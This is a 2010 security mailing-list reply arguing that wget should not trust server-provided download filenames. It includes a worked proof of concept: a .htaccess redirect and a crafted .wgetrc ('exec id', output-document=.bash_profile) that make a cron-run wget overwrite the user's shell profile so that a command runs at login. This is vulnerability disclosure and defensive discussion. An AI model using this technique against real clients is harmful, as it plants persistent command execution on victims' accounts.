Date: Wed, 19 May 2010 03:42:29 +0400 From: Solar Designer <solar@...nwall.com> To: oss-security@...ts.openwall.com Subject: Re: [oCERT-2010-001] multiple http client unexpected download filename vulnerability On Tue, May 18, 2010 at 09:50:27AM +0200, Ludwig Nussel wrote: > wget doesn't overwrite existing files by default anyways. Instead it appends a > suffix .1, .2 etc to the newly downloaded file. Well, a server can sometimes override that default - please see below. > wget also prints the file name it used. This is of limited help - and for interactive uses only. I am mostly concerned about uses from cron jobs and the like. > So IMO it's perfectly fine and useful for wget to take the server > provided file name by default. I disagree. Uses from scripts and cron jobs are too common, and they often don't care to specify an output filename explicitly. Let's suppose there's a cron job like this: 1 * * * * wget http://www.openwall.com/pvt/wget/log &> /dev/null If the server is malicious or compromised, it can have: RedirectMatch log $1/pvt/wget/.wgetrc in .htaccess, and reject=; exec id output-document=.bash_profile in .wgetrc. When the cron job runs for the first time after the above changes made on the server, it does: 02:01:02 (2.64 MB/s) - `.wgetrc' saved [47/47] At this point, .wgetrc is on the client system. The second time the cron job runs, it does: 03:01:02 (2.99 MB/s) - `.bash_profile' saved [47/47] This has happily overwritten my .bash_profile file. (I replaced "/dev/null" in the cron job with another filename for obtaining these wget output lines.) When I am logging in to the affected account, I get the output of "id". Of course, the shell command could as well be nastier than that. Although I used a somewhat tricky approach in the above exploit, eventually making wget overwrite a file, it is also possible to mount attacks that do not rely on overwriting any files. Many programs support optional startup/config files of fixed/known/guessable names that a malicious or compromised server could provide. In fact, I've just demonstrated this attack against wget itself, but it could also work against another program. Is this more convincing now? Alexander
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Powered by Openwall GNU/*/Linux - Powered by OpenVZ